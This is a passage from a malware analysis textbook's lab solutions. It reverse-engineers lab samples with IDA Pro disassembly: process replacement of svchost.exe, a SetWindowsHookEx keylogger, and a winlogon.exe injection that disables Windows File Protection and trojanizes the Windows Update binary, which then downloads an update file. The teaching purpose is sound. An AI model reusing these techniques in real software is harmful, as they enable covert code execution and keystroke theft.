text of the suspended thread. Obtaining the thread handle is important 
because the program will use the thread handle to interact with the sus-
pended process. 

After the call to GetThreadContext, we see the context used in a call to 
ReadProcessMemory. To better determine what the program is doing with the 
context, we need to add the CONTEXT structure in IDA Pro. To add this stan-
dard structure, click the Structures tab and press the INS key. Next, click 
the Add Standard Structure button and locate the structure named CONTEXT. 
Once you’ve added the structure, right-click location 0x004011C3 to allow 
the resolution of the structure offset, as shown in Figure 12-2L. As you can 
see, the offset 0xA4 actually references the EBX register of the thread by 
the [eax+CONTEXT._Ebx].

Figure 12-2L: IDA Pro structure offset resolution

The EBX register of a suspended newly created process always contains a 
pointer to the Process Environment Block (PEB) data structure. As shown in 
Listing 12-7L, at , the program increments the PEB data structure by 8 bytes 
and pushes the value onto the stack as the start address for the memory read.
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004011B8         push    0                       ; lpNumberOfBytesRead
004011BA         push    4  ; nSize
004011BC         lea     edx, [ebp+Buffer]
004011BF         push    edx                     ; lpBuffer
004011C0         mov     eax, [ebp+lpContext]
004011C3         mov     ecx, [eax+CONTEXT._Ebx]
004011C9         add     ecx, 8 
004011CC         push    ecx                     ; lpBaseAddress
004011CD         mov     edx, [ebp+ProcessInformation.hProcess]
004011D0         push    edx                     ; hProcess
004011D1         call    ds:ReadProcessMemory

Listing 12-7L: Reading a PEB data structure

Because the PEB data structure is not part of the standard IDA Pro data 
structures, we can use an Internet search or WinDbg to help determine what 
is at offset 8 of the PEB data structure: a pointer to the ImageBaseAddress or the 
start of the loaded executable. Passing this address as the read location and 
reading 4 bytes at , we see that what IDA Pro has labeled Buffer will contain 
the ImageBase of the suspended process.

The program manually resolves the import UnMapViewOfSection using 
GetProcAddress at 0x004011E8, and at 0x004011FE, the ImageBaseAddress is a 
parameter of UnMapViewOfSection. The call to UnMapViewOfSection removes the 
suspended process from memory, at which point the program can no longer 
execute. 

In Listing 12-8L, we see the parameters pushed onto the stack for a call 
to VirtualAllocEx. 

00401209         push    40h                   ; flProtect
0040120B         push    3000h                   ; flAllocationType
00401210         mov     edx, [ebp+var_8]
00401213         mov     eax, [edx+50h]
00401216         push    eax                     ; dwSize
00401217         mov     ecx, [ebp+var_8]
0040121A         mov     edx, [ecx+34h]
0040121D         push    edx                     ; lpAddress
0040121E         mov     eax, [ebp+ProcessInformation.hProcess]
00401221         push    eax                     ; hProcess
00401222         call    ds:VirtualAllocEx

Listing 12-8L: Allocating memory for an executable within a suspended process

Notice that this listing shows the program allocating memory within the 
suspended processes address space, at . This is behavior that requires fur-
ther investigation. 

At the beginning of the function, the program checks for the MZ magic 
value at 0x004010FE and a PE magic value at 0x00401119. If the checks are 
valid, we know that var_8 contains a pointer to the PE header loaded in 
memory. 

At , the program requests that the memory be allocated at the address 
of the ImageBase of the buffer-based PE file, which tells the Windows loader 
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where the executable would prefer to be loaded into memory. At , the pro-
gram requests the size of memory specified by the PE header value ImageSize 
(offset 0x50). Finally, at , we use the MSDN documentation to determine 
that the memory is being allocated with PAGE_EXECUTE_READWRITE permissions. 

Once the memory has been allocated, a WriteProcessMemory at 0x00401251 
writes data from the beginning of the PE file into the memory just allocated 
within the suspended process. The number of bytes written is taken from off-
set 0x54 of the PE header, SizeOfHeaders. This first WriteProcessMemory copies 
the PE file headers into the suspended process, which suggests that this pro-
gram is moving a PE file into another process’s address space.

Next, in Listing 12-9L, we see a loop at  where the loop counter var_70 
is initialized to 0 at 0x00401257. 

00401257 mov [ebp+var_70], 0
0040125E jmp short loc_401269
00401260 loc_401260: ; CODE XREF: sub_4010EA+1CD_j
00401260         mov     eax, [ebp+var_70]
00401263         add     eax, 1
00401266         mov     [ebp+var_70], eax
00401269
00401269 loc_401269:                        ; CODE XREF: sub_4010EA+174_j
00401269         mov     ecx, [ebp+var_8]
0040126C         xor     edx, edx
0040126E         mov     dx, [ecx+6]
00401272         cmp     [ebp+var_70], edx 
00401275         jge     short loc_4012B9
00401277         mov     eax, [ebp+var_4]
0040127A         mov     ecx, [ebp+lpBuffer]
0040127D         add     ecx, [eax+3Ch] 
00401280         mov     edx, [ebp+var_70]
00401283         imul    edx, 28h 
00401286         lea     eax, [ecx+edx+0F8h]
0040128D         mov     [ebp+var_74], eax
00401290         push    0                       ; lpNumberOfBytesWritten
00401292         mov     ecx, [ebp+var_74]
00401295         mov     edx, [ecx+10h]
00401298         push    edx                     ; nSize
00401299         mov     eax, [ebp+var_74]
0040129C         mov     ecx, [ebp+lpBuffer]
0040129F         add     ecx, [eax+14h]
004012A2         push    ecx                     ; lpBuffer
004012A3         mov     edx, [ebp+var_74]
004012A6         mov     eax, [ebp+lpBaseAddress]
004012A9         add     eax, [edx+0Ch]
004012AC         push    eax                     ; lpBaseAddress
004012AD         mov     ecx, [ebp+ProcessInformation.hProcess]
004012B0         push    ecx                     ; hProcess
004012B1         call    ds:WriteProcessMemory
004012B7         jmp     short loc_401260 

Listing 12-9L: Copying PE sections into memory
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The loop counter is compared to the value at offset 6 bytes into the PE 
header at , which is the NumberOfSections. Because executable sections contain 
the data necessary to run an executable—such as the code, data, relocations, 
and so on—we know that this loop is probably copying the PE executable sec-
tions into the suspended process, but let’s be sure.

var_4 contains a pointer to the MZ/PE file in memory (labeled lpBuffer 
by IDA Pro), which is initialized at location 0x004010F3. We know that the 
first part of a PE executable is an MZ header, and at , we see the program 
adding offset 0x3C (offset to PE header) to the MZ header buffer, which 
makes ECX point to the beginning of the PE header. At , we see a pointer 
being obtained. EDX is 0 the first time through the loop, so we can remove 
EDX from the pointer calculation. That leaves us with ECX and 0xF8. 

Looking at the PE header offsets, we see 0xF8 is the start of the 
IMAGE_HEADER_SECTION array. A simple sizeof(IMAGE_HEADER_SECTION) tells us 
that this structure is 40 bytes, which matches the multiplication performed 
on the loop counter at . 

Now we can leverage IDA Pro standard structures again by adding in 
IMAGE_DOS_HEADER, IMAGE_NT_HEADERS, and IMAGE_SECTION_HEADER. Using the knowl-
edge we’ve gained about each register at the different stages, we can trans-
form the disassembly in Listing 12-9L into the much more readable version 
in Listing 12-10L (the changes are in bold in this listing). 

00401260 loc_401260:                          ; CODE XREF: sub_4010EA+1CD_j
00401260        mov     eax, [ebp+var_70]
00401263        add     eax, 1
00401266        mov     [ebp+var_70], eax
00401269
00401269 loc_401269:                            ; CODE XREF: sub_4010EA+174_j
00401269        mov     ecx, [ebp+var_8]
0040126C        xor     edx, edx
0040126E        mov     dx,[ecx+IMAGE_NT_HEADERS.FileHeader.NumberOfSections]
00401272        cmp     [ebp+var_70], edx 
00401275        jge     short loc_4012B9
00401277        mov     eax, [ebp+var_4]
0040127A        mov     ecx, [ebp+lpBuffer]
0040127D        add     ecx, [eax+IMAGE_DOS_HEADER.e_lfanew] 
00401280        mov     edx, [ebp+var_70]
00401283        imul    edx, 28h 
00401286        lea     eax, [ecx+edx+(size IMAGE_NT_HEADERS)]
0040128D        mov     [ebp+var_74], eax
00401290        push    0                       ; lpNumberOfBytesWritten
00401292        mov     ecx, [ebp+var_74]
00401295        mov     edx, [ecx+IMAGE_SECTION_HEADER.SizeOfRawData]
00401298        push    edx                     ; nSize
00401299        mov     eax, [ebp+var_74]
0040129C        mov     ecx, [ebp+lpBuffer]
0040129F        add     ecx, [eax+IMAGE_SECTION_HEADER.PointerToRawData]
004012A2        push    ecx                     ; lpBuffer
004012A3        mov     edx, [ebp+var_74]
004012A6        mov     eax, [ebp+lpBaseAddress]
004012A9        add     eax, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
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004012AC        push    eax                     ; lpBaseAddress
004012AD        mov     ecx, [ebp+ProcessInformation.hProcess]
004012B0        push    ecx                     ; hProcess
004012B1        call    ds:WriteProcessMemory
004012B7        jmp     short loc_401260 

Listing 12-10L: Copying PE sections into memory using IDA Pro structures

In Listing 12-10L, it’s much easier to see that the SizeOfRawData, 
PointerToRawData, and VirtualAddress values of each section header are 
being used to perform the copy operations, confirming our earlier suspi-
cion that the program copies each section into the suspended process’s 
memory space. The program has taken the necessary steps to load an exe-
cutable into another process’s address space. 

In Listing 12-11L, we see that the program uses SetThreadContext, which 
sets the EAX register at  to the entry point of the executable that was just 
loaded into the suspended process’s memory space. Once the program per-
forms the ResumeThread at , it will have successfully achieved process replace-
ment on the process created using CreateProcessA at the beginning of this 
function.

004012DB mov eax, [ebp+var_8]
004012DE mov ecx, [ebp+lpBaseAddress]
004012E1 add ecx, [eax+IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint]
004012E4 mov edx, [ebp+lpContext]
004012E7 mov [edx+CONTEXT._Eax], ecx 
004012ED mov eax, [ebp+lpContext]
004012F0 push eax                     ; lpContext
004012F1 mov ecx, [ebp+ProcessInformation.hThread]
004012F4 push ecx                     ; hThread
004012F5 call ds:SetThreadContext
004012FB mov edx, [ebp+ProcessInformation.hThread]
004012FE push edx                     ; hThread
004012FF call ds:ResumeThread 

Listing 12-11L: Resuming a suspended process

Now that we know process replacement is occurring, it’s important to 
determine which process is being replaced and which process is being 
covertly executed, cloaked within another. First, we need to discover the 
origin of lpApplicationName, the label created by IDA Pro seen in Listing 12-6L 
being provided to the CreateProcessA API call. 

Pressing CTRL-X with the cursor at the start of the sub_4010EA function 
shows all cross-references, including the callers sub_40144B and main. Follow-
ing main brings us to 0x00401544, where the variable Dst is loaded into a regis-
ter to be passed to sub_4010EA as the process name for CreateProcessA. Placing 
the cursor over Dst highlights the variable throughout the function, thereby 
allowing us to follow the variable in order to determine its origin.

The variable is first seen as shown in Listing 12-12L at , as the second 
parameter to sub_40149D. 
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00401508         push    400h                    ; uSize
0040150D         lea     eax, [ebp+Dst] 
00401513         push    eax                     ; Str
00401514         push    offset aSvchost_exe  ; "\\svchost.exe"
00401519         call    sub_40149D

Listing 12-12L: Building the path string

A quick look at sub_40149D shows it to be a simple function that copies 
%SystemRoot%\System32\ into the second parameter, and then concatenates the 
first parameter onto the end of that. Since Dst is the second parameter, it 
receives this new path, so we backtrack through to the first parameter of 
sub_40149D, at , which we can see is \\svchost.exe. This tells us that the 
replaced process is %SystemRoot%\System32\svchost.exe.

Now we know that the program is starting svchost.exe, but we still need to 
determine the process that is replacing svchost.exe. To do so, we follow the PE 
buffer passed to sub_4010EA by following the variable lpBuffer at 0x00401539, 
just as we backtracked Dst earlier. 

We locate lpBuffer, which is receiving EAX at  in Listing 12-13L. By 
examining earlier instructions, we find a function call at . Remembering 
that EAX is the return value for a function, we know the buffer is coming 
from the function sub_40132C, which appears to take the variable hModule, a 
memory pointer to the program itself, Lab12-02.exe.

00401521         mov     ecx, [ebp+hModule]
00401527         push    ecx                     ; hModule
00401528         call    sub_40132C 
0040152D         add     esp, 4
00401530         mov     [ebp+lpBuffer], eax 

Listing 12-13L: Loading the executable that replaces svchost.exe

The function sub_40132C calls the functions FindResource, LoadResource, 
LockResource, SizeOfResource, VirtualAlloc, and memcpy. The program copies 
data from the executable’s resource section into memory. We’ll use Resource 
Hacker to view the items in the resource section and export them to inde-
pendent files. Figure 12-3L shows Lab12-02.exe inside Resource Hacker with 
an encoded binary in the resource section. We can use Resource Hacker to 
export this binary.

At this point, we need to continue examining the disassembly to deter-
mine how the executable is decoded. At 0x00401425, we see that the buffer is 
passed to function sub_401000, which looks like an XOR routine. Looking 
back at the third parameter passed to the function at location 0x0040141B, 
we see 0x41. Using WinHex, we can quickly XOR the entire file exported ear-
lier from Resource Hacker by selecting EditModify DataXOR and enter-
ing 0x41. After performing this conversion, we have a valid PE executable that 
is later used to replace an instance of svchost.exe.
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Figure 12-3L: Resource Hacker showing an encoded binary in the resource section

NOTE WinHex is a hex editor available at http://www.x-ways.net/winhex/ and the free 
trial version is useful for malware analysis. We use it here for illustrative purposes, but 
most hex editors can perform a single-byte XOR operation. 

We can conclude that this malware decodes a binary from its resource 
section and performs process replacement on svchost.exe with the decoded 
binary.

Lab 12-3 Solutions

Short Answers
1. The program is a keylogger.

2. The program uses hook injection to steal keystrokes.

3. The program creates the file practicalmalwareanalysis.log to store the 
keystrokes.

Detailed Analysis
Since we’ve already analyzed this binary in the labs for Chapter 3, and it 
was extracted as part of Lab 12-2, let’s begin by opening the file with IDA 
Pro to examine the function imports. The most interesting of the imports 
is SetWindowsHookExA, an API that allows an application to hook or monitor 
events within Microsoft Windows. 

In Listing 12-14L, we see that SetWindowsHookExA is called from main at . 
The MSDN documentation shows that the first parameter, 0Dh, corresponds 
to WH_KEYBOARD_LL, which enables monitoring of keyboard events using the 
hook function IDA Pro labeled fn at . The program is probably doing 
something with keystrokes. The fn function will receive keystrokes.

00401053         push    eax                     ; hmod
00401054         push    offset fn             ; lpfn 
00401059         push    0Dh                     ; idHook
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0040105B         call    ds:SetWindowsHookExA 
00401061         mov     [ebp+hhk], eax

Listing 12-14L: SetWindowsHookEx called from main

After registering to receive keyboard events, the program calls GetMessageA 
in a loop that starts at 0x00401076. The program must call GetMessageA; other-
wise, Windows would not deliver the messages to the process’s hook function. 
The loop runs until it produces an error.

Navigating to the function fn, we begin to see what the program is doing 
with the keystrokes it captures. fn is a generic function with three parame-
ters. It has a prototype defined by HOOKPROC. Using the MSDN documentation, 
we determine that WH_KEYBOARD_LL callbacks are actually LowLevelKeyboardProc 
callbacks. We use this information to resolve the parameters to actual data 
structures, which makes our job easier by allowing us to read names rather 
than numeric offsets. 

To change the IDA display from offsets to names, put the cursor 
at 0x00401086 and press the Y key, and then change lParam’s type to 
KBDLLHOOKSTRUCT *. You can now go to 0x4010a4, and hit the T key and 
select KBDLLHOOKSTRUCT.vkCode. The references to lParam should now show 
structure variable names rather than numeric offsets. For example, [eax] 
at 0x004010A4 becomes [eax+KBDLLHOOKSSTRUCT.vkCode], as shown in 
Listing 12-15L at .

0040108F         cmp     [ebp+wParam], WM_SYSKEYDOWN 
00401096         jz      short loc_4010A1
00401098         cmp     [ebp+wParam], WM_KEYDOWN 
0040109F         jnz     short loc_4010AF
004010A1
004010A1 loc_4010A1:                             ; CODE XREF: fn+10j
004010A1         mov     eax, [ebp+lParam]
004010A4         mov     ecx, [eax+KBDLLHOOKSTRUCT.vkCode] 
004010A6         push    ecx                     ; Buffer
004010A7         call    sub_4010C7

Listing 12-15L: Hook function

In Listing 12-15L, we see at  and  that the program checks the type of 
keypress with cmp, in order to process each keypress once. At , the program 
passes (mov) the virtual key code to the function sub_4010C7 shown later in bold.

Examining sub_4010C7, we see that first the program opens a file, 
practicalmalwareanalysis.log. After this, the malware calls GetForegroundWindow 
followed by GetWindowTextA, as shown in Listing 12-16L. First, GetForegroundWindow 
selects the active window when the key was pressed, and then it grabs the title 
of the window using GetWindowTextA. This helps the program provide context 
for where the keystrokes originated. 

004010E6         push    offset FileName     ; "practicalmalwareanalysis.log"
004010EB         call    ds:CreateFileA
...
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0040110F         push    400h                    ; nMaxCount
00401114         push    offset String           ; lpString
00401119         call    ds:GetForegroundWindow
0040111F         push    eax                     ; hWnd
00401120         call    ds:GetWindowTextA
00401126         push    offset String           ; Str2
0040112B         push    offset Dest             ; Str1
00401130         call    _strcmp 

Listing 12-16L: Opening the log file and getting the window title

Once the program writes the window title to the log file, it enters a large 
jump table, as shown in Listing 12-17L at . Recognizing that var_C contains 
the virtual key code that was passed into the function, we see the virtual key 
code used as an index to a lookup table at . The value received from the 
lookup table is used as an index into the jump table off_401441 at . 

0040120B         sub     eax, 8 
...
0040121B         mov     edx, [ebp+var_C]
0040121E         xor     ecx, ecx
00401220         mov     cl, ds:byte_40148D[edx]
00401226         jmp     ds:off_401441[ecx*4]    ; switch jump

Listing 12-17L: Virtual key code jump table

We follow the lookup process by choosing a value like VK_SHIFT (0x10). 
At , 8 is subtracted from the value, leaving us with 0x8 (0x10 – 0x8). 

Looking at offset 0x8 into byte_40148D, as shown in Listing 12-18L, pro-
vides the value 3, which is stored in ECX. ECX is then multiplied by 4 at , 
yielding 0xC, which is used as an offset into off_401441. This returns the loca-
tion loc_401249, where we find the string [SHIFT] written to the log file.

byte_40148D     db      0,     1,   12h,   12h
                db    12h,     2,   12h,   12h 
                db      3,     4,   12h,   12h

Listing 12-18L: The offset table for byte_40148D

We are able to conclude that this malware is a keylogger that logs 
keystrokes to the file practicalmalwareanalysis.log. This keylogger uses 
SetWindowsHookEx to implement its keylogging functionality.

Lab 12-4 Solutions

Short Answers
1. The malware checks to see if a given PID is winlogon.exe.

2. Winlogon.exe is the process injected.

3. The DLL sfc_os.dll will be used to disable Windows File Protection.
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4. The fourth argument passed to CreateRemoteThread is a function pointer to 
an unnamed ordinal 2 (SfcTerminateWatcherThread) of sfc_os.dll.

5. The malware drops a binary from its resource section and overwrites the 
old Windows Update binary (wupdmgr.exe) with it. Before overwriting the 
real wupdmgr.exe, the malware copies it to the %TEMP% directory for 
later usage.

6. The malware injects a remote thread into winlogon.exe and calls a func-
tion exported by sfc_os.dll, ordinal 2 (SfcTerminateWatcherThread), to disable 
Windows File Protection until the next reboot. The CreateRemoteThread 
call is necessary because this function must be executed inside the 
winlogon.exe process. The malware trojanizes wupdmgr.exe by using that 
executable to update its own malware and call the original Windows 
Update binary, which was saved to the %TEMP% directory.

Detailed Analysis
We begin with basic static analysis. Examining the imports, we see 
CreateRemoteThread, but not WriteProcessMemory or VirtualAllocEx, which 
is interesting. We also see imports for resource manipulation, such as 
LoadResource and FindResourceA. Examining the malware with Resource 
Hacker, we notice an additional program named BIN stored in the 
resource section.

Next, we turn to basic dynamic techniques. Procmon shows us that the 
malware creates the file %TEMP%\winup.exe and overwrites the Windows 
Update binary at %SystemRoot%\System32\wupdmgr.exe. Comparing the 
dropped wupdmgr.exe with the file in the BIN resource section, we see that 
they are the same. (Windows File Protection should restore the original file, 
but it doesn’t.)

Running Netcat, we find that the malware attempts to download 
updater.exe from www.practicalmalwareanalysis.com, as shown in Listing 12-19L.

GET /updater.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 
2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)
Host: www.practicalmalwareanalysis.com
Connection: Keep-Alive

Listing 12-19L: HTTP GET request performed after running Lab12-04.exe

We load the malware into IDA Pro and scroll to the main function at 
address 0x00401350. A few lines from the start of the main function, we see 
the malware resolving functions for Windows process enumeration within 
psapi.dll, as shown in Listing 12-20L. 

004013AA        push    offset ProcName ; "EnumProcessModules" 
004013AF        push    offset aPsapi_dll ; "psapi.dll"
004013B4        call    ds:LoadLibraryA 
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004013BA        push    eax            
004013BB        call    ds:GetProcAddress 
004013C1        mov     dword_40312C, eax ; Rename to myEnumProcessModules

Listing 12-20L: Dynamically resolving process enumeration imports 

Listing 12-20L also shows one of the three functions the malware manu-
ally resolves using LoadLibraryA at  and GetProcAddress at .

The malware saves the function pointer to dword_40312C (here at ), 
dword_403128, and dword_403124. We’ll change the names of these global variables 
to make it easier to identify calls to the function later in our analysis, renaming 
them to myEnumProcessModules, myGetModuleBaseNameA, and myEnumProcesses. 

Once the malware checks the values of the function pointers, it arrives at 
0x00401423 and the call myEnumProcesses, as shown in Listing 12-21L at . The 
goal of the code in this listing is to return an array of PIDs on the system. The 
start of the array is referenced by the local variable dwProcessId shown at .

00401423        lea eax, [ebp+var_1228]
00401429        push eax            ; _DWORD
0040142A        push 1000h          ; _DWORD
0040142F        lea ecx, [ebp+dwProcessId] 
00401435        push ecx            ; _DWORD
00401436        call myEnumProcesses 
0040143C        test eax, eax
0040143E        jnz short loc_401

Listing 12-21L: Enumerating processes

The malware then begins to loop through the PIDs, passing each to 
the subroutine at 0x00401000, as shown in Listing 12-22L. We see an index 
into the array referenced by dwProcessId, which is calculated before calling 
sub_401000.

00401495        mov eax, [ebp+var_1238]
0040149B        mov ecx, [ebp+eax*4+dwProcessId] 
004014A2        push ecx            ; dwProcessId
004014A3        call sub_401000

Listing 12-22L: Looping through PIDs

We examine the internals of sub_401000 and see two local variables set 
(Str1 and Str2), as shown in Listing 12-23L. The variable Str1 will contain the 
string "<not real>", and Str2 will contain "winlogon.exe".

0040100A        mov eax, dword ptr aWinlogon_exe ; "winlogon.exe"
0040100F        mov dword ptr [ebp+Str2], eax
...
0040102C        mov ecx, dword ptr aNotReal ; "<not real>"
00401032        mov dword ptr [ebp+Str1], ecx

Listing 12-23L: Initialization of strings
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Next, the malware passes the loop parameter (dwProcessId) to the 
OpenProcess call in order to obtain a handle to that process, as shown at  
in Listing 12-24L. The handle returned from OpenProcess is stored in EAX 
and passed to the myEnumProcessModules function at , which returns an array 
of handles for each module loaded into a process.

00401070        push edx            ; dwProcessId
00401071        push 0              ; bInheritHandle
00401073        push 410h           ; dwDesiredAccess
00401078        call ds:OpenProcess 
...
00401087        lea eax, [ebp+var_120]
0040108D        push eax
0040108E        push 4
00401090        lea ecx, [ebp+var_11C]
00401096        push ecx
00401097        mov edx, [ebp+hObject]
0040109A        push edx
0040109B        call myEnumProcessModules

Listing 12-24L: For each process, enumerate the modules

As shown in Listing 12-25L, the malware attempts to get the base name 
of the module’s PID by using GetModuleBaseNameA. If it succeeds, Str1 will con-
tain the string of the base name of the module for the PID passed to this sub-
routine; if not, it will keep the initialized value "<not real>".

004010A5        push 104h
004010AA        lea eax, [ebp+Str1]; will change
004010B0        push eax
004010B1        mov ecx, [ebp+var_11C]
004010B7        push ecx
004010B8        mov edx, [ebp+hObject]
004010BB        push edx
004010BC        call myGetModuleBaseNameA

Listing 12-25L: Getting the name of each module

The old initialized string "<not real>" should have the name of the base 
module returned from GetModuleBaseNameA. This string is compared to the 
"winlogon.exe" string. If the strings match, EAX will be equal to 0, and the 
function will return with EAX equal to 1. If the strings do not match, EAX 
will be equal to 0 on return. We can now safely say that sub_401000 is attempt-
ing to determine which PID is associated with winlogon.exe.

Now that we know what sub_401000 does, we can rename it as PIDLookup. 
Notice at  in Listing 12-26L that the return value in EAX is tested to see if 
it is 0. If so, the code jumps to loc_4014CF, incrementing the loop counter 
and rerunning the PIDLookup function with a new PID. Otherwise, if the PID 
matched winlogon.exe, then the PID will be passed to the sub_401174, as seen 
at  in the listing. 
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004014A3        call PIDLookup
004014A8        add esp, 4
004014AB        mov [ebp+var_114], eax
004014B1        cmp [ebp+var_114], 0 
004014B8        jz  short loc_4014CF
...
004014E4        mov     ecx, [ebp+var_1234]
004014EA        push    ecx     ; dwProcessId
004014EB        call    sub_401174 

Listing 12-26L: PID lookup and comparison

Examining sub_401174, we see another subroutine called immediately, with 
the argument SeDebugPrivilege. This function performs the SeDebugPrivilege 
privilege-escalation procedure we discussed extensively in Chapter 11. 

Following the SeDebugPrivilege escalation function, we see sfc_os.dll 
passed to LoadLibraryA, as shown at  in Listing 12-27L. Next, GetProcAddress is 
called on the handle to sfc_os.dll and ordinal 2 (an undocumented Windows 
function). Ordinal 2 is pushed onto the stack at . The function pointer of 
ordinal 2 is saved to lpStartAddress at  (the label provided by IDA Pro). The 
malware then calls OpenProcess on the PID of winlogon.exe and dwDesiredAccess 
of 0x1F0FFF (symbolic constant for PROCESS_ALL_ACCESS). The handle to 
winlogon.exe is saved to hProcess at . 

004011A1        push 2              ; lpProcName
004011A3        push offset LibFileName ; "sfc_os.dll"
004011A8        call ds:LoadLibraryA 
004011AE        push eax            ; hModule
004011AF        call ds:GetProcAddress 
004011B5        mov lpStartAddress, eax 
004011BA        mov eax, [ebp+dwProcessId]
004011BD        push eax        ; dwProcessId
004011BE        push 0          ; bInheritHandle
004011C0        push 1F0FFFh    ; dwDesiredAccess
004011C5        call ds:OpenProcess
004011CB        mov [ebp+hProcess], eax 
004011CE        cmp [ebp+hProcess], 0
004011D2        jnz short loc_4011D

Listing 12-27L: Resolving ordinal 2 of sfc_os.dll and opening a handle to Winlogon

The code in Listing 12-28L calls CreateRemoteThread. Examining the 
arguments for CreateRemoteThread, we see that the hProcess parameter at  is 
EDX, our winlogon.exe handle. The lpStartAddress passed at  is a pointer to 
the function at sfc_os.dll at ordinal 2 that injects a thread into winlogon.exe. 
(Because sfc_os.dll is already loaded inside winlogon.exe, there is no need to 
load the DLL within the newly created remote thread, so we don’t have a 
call to WriteProcessMemory.) That thread is ordinal 2 of sfc_os.dll. 

004011D8        push 0              ; lpThreadId
004011DA        push 0              ; dwCreationFlags
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004011DC        push 0              ; lpParameter
004011DE        mov ecx, lpStartAddress 
004011E4        push ecx            ; lpStartAddress
004011E5        push 0              ; dwStackSize
004011E7        push 0              ; lpThreadAttributes
004011E9        mov edx, [ebp+hProcess]
004011EC        push edx            ; hProcess 
004011ED        call ds:CreateRemoteThread

Listing 12-28L: Calling CreateRemoteThread for a remote process

But what are sfc_os.dll and export ordinal 2? The DLL sfc_os.dll is par-
tially responsible for Windows File Protection, a series of threads running 
within winlogon.exe. Ordinal 2 of sfc_os.dll is an unnamed export known as 
SfcTerminateWatcherThread. 

NOTE The information about sfc_os.dll and export ordinal 2 given here is undocumented. 
To avoid needing to reverse-engineer the Windows DLL, search the Internet for 
“sfc_os.dll ordinal 2” to see what information you can find. 

SfcTerminateWatcherThread must run inside winlogon.exe in order to success-
fully execute. By forcing the SfcTerminateWatcherThread function to execute, 
the malware disables Windows File Protection until the next system reboot. 

If the thread is injected properly, the code in Listing 12-29L executes, 
building a string. When the code executes, GetWindowsDirectoryA at  returns 
a pointer to the current Windows directory (usually C:\Windows), and the 
malware passes this string and \system32\wupdmgr.exe to an _snprintf call, as 
shown at  and . This code will typically build the string "C:\Windows\
system32\wupdmgr.exe", which will be stored in ExistingFileName. Wupdmgr.exe 
is used for Windows updates under Windows XP. 

00401506        push 10Eh           ; uSize
0040150B        lea edx, [ebp+Buffer]
00401511        push edx            ; lpBuffer
00401512        call ds:GetWindowsDirectoryA 
00401518        push offset aSystem32Wupdmg ; \\system32\\wupdmgr.exe 
0040151D        lea eax, [ebp+Buffer]
00401523        push eax 
00401524        push offset aSS     ; "%s%s"
00401529        push 10Eh           ; Count
0040152E        lea ecx, [ebp+ExistingFileName]
00401534        push ecx            ; Dest
00401535        call ds:_snprintf 

Listing 12-29L: Building a string for the wupdmgr.exe path

In Listing 12-30L, we see another string being built. A call to GetTempPathA 
at  gives us a pointer to the current user’s temporary directory, usually C:\
Documents and Settings\<username>\Local\Temp. The temporary directory path 
is then passed to another _snprintf call with the parameter \\winup.exe, as 
seen at  and , creating the string "C:\Documents and Settings\username\
Local\Temp\winup.exe", which is stored in NewFileName.
604 Appendix C



1 2
0040153B        add esp, 14h
0040153E        lea edx, [ebp+var_110]
00401544        push edx            ; lpBuffer
00401545        push 10Eh           ; nBufferLength
0040154A        call ds:GetTempPathA 
00401550        push offset aWinup_exe ; \\winup.exe 
00401555        lea eax, [ebp+var_110]
0040155B        push eax 
0040155C        push offset aSS_0   ; "%s%s"
00401561        push 10Eh           ; Count
00401566        lea ecx, [ebp+NewFileName]
0040156C        push ecx            ; Dest
0040156D        call ds:_snprintf

Listing 12-30L: Building a string for the winup.exe path

We can now see why IDA Pro renamed two local variables to NewFileName 
and ExistingFileName. These local variables are used in the MoveFileA call, as 
shown in Listing 12-31L at . The MoveFileA function will move the Windows 
Update binary to the user’s temporary directory.

00401576        lea edx, [ebp+NewFileName]
0040157C        push edx            ; lpNewFileName
0040157D        lea eax, [ebp+ExistingFileName]
00401583        push eax            ; lpExistingFileName
00401584        call ds:MoveFileA 

Listing 12-31L: Moving the Windows Update binary to the temporary directory

In Listing 12-32L, we see the malware calling GetModuleHandleA at , 
which returns a module handle for the current process. We then see a 
series of resources section APIs, specifically, FindResourceA with parameters 
#101 and BIN. As we guessed as a result of our earlier basic analysis, the mal-
ware is extracting its resource section to disk. 

004012A1        call ds:GetModuleHandleA 
004012A7        mov [ebp+hModule], eax
004012AA        push offset Type    ; "BIN"
004012AF        push offset Name    ; "#101"
004012B4        mov eax, [ebp+hModule]
004012B7        push eax            ; hModule
004012B8        call ds:FindResourceA

Listing 12-32L: Resource extraction

Later in this function, following the call to FindResourceA, are calls to 
LoadResource, SizeofResource, CreateFileA, and WriteFile (not shown here). This 
combination of function calls extracts the file from the resource section BIN 
and writes the file to C:\Windows\System32\wupdmgr.exe. The malware is creat-
ing a new Windows Update binary handler. Under normal circumstances, its 
attempt to create a new handler would fail because Windows File Protection 
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would detect a change in the file and overwrite the newly created one, but 
because the malware disabled this functionality, it can overwrite normally 
protected Windows binaries. 

The last thing this function does is launch the new wupdmgr.exe using 
WinExec. The function is launched with an uCmdShow parameter of 0, or SW_HIDE, 
as shown at  in Listing 12-33L, in order to hide the program window. 

0040133C        push 0  ; uCmdShow
0040133E        lea edx, [ebp+FileName]
00401344        push edx            ; lpCmdLine
00401345        call ds:WinExec

Listing 12-33L: Launching the extracted file

Having completed our analysis of this binary, let’s examine the binary 
extracted from its resource section. To get the binary, run the malware and 
open the newly created wupdmgr.exe or use Resource Hacker to carve out 
the file. 

After loading the malware into IDA Pro, we see a familiar subset of calls 
in the main function. The malware creates a string to our temporary move of 
the original Windows Update binary (C:\Documents and Settings\username\
Local\Temp\winup.exe), and then runs the original Windows Update binary 
(using WinExec), which was saved to the user’s temporary directory. If the user 
were to perform a Windows Update, everything would appear to operate nor-
mally; the original Windows Update file would run.

Next, in IDA Pro, we see construction of the string C:\Windows\system32\
wupdmgrd.exe beginning at 0x4010C3, to be stored in a local variable Dest. 
Other than the d in the filename, this string is very close to the original 
Windows Update binary name. 

In Listing 12-34L, notice the API call to URLDownloadToFileA. This call takes 
some interesting parameters that deserve further inspection. 

004010EF        push 0              ; LPBINDSTATUSCALLBACK
004010F1        push 0              ; DWORD
004010F3        lea ecx, [ebp+Dest] 
004010F9        push ecx            ; LPCSTR
004010FA        push offset aHttpWww_practi  ; "http://www.practicalmal..."
004010FF        push 0              ; LPUNKNOWN
00401101        call URLDownloadToFileA

Listing 12-34L: Analyzing the extracted and launched malware

